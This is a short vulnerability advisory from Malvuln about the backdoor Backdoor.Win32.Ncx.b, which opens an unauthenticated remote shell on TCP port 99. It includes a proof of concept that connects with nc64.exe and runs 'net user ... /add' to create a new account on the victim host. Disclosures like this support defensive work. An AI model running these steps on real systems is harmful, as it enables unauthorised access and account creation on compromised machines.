Backdoor.Win32.Ncx.b Code Execution

Backdoor.Win32.Ncx.b malware suffers from a code execution vulnerability.

MD5 | 7f70ff2d9ad9004ce7d7340c9cfb6b05

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can execute OS commands further compromising the host.
Type: PE32
MD5: 991c1f02c809cee860cb712896a45338
Vuln ID: MVID-2021-0421
Disclosure: 12/11/2021

nc64.exe x.x.x.x 99
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


C:\Users\Victim\Desktop>net user HYP3RLINX HELL /add
net user HYP3RLINX HELL /add
The command completed successfully

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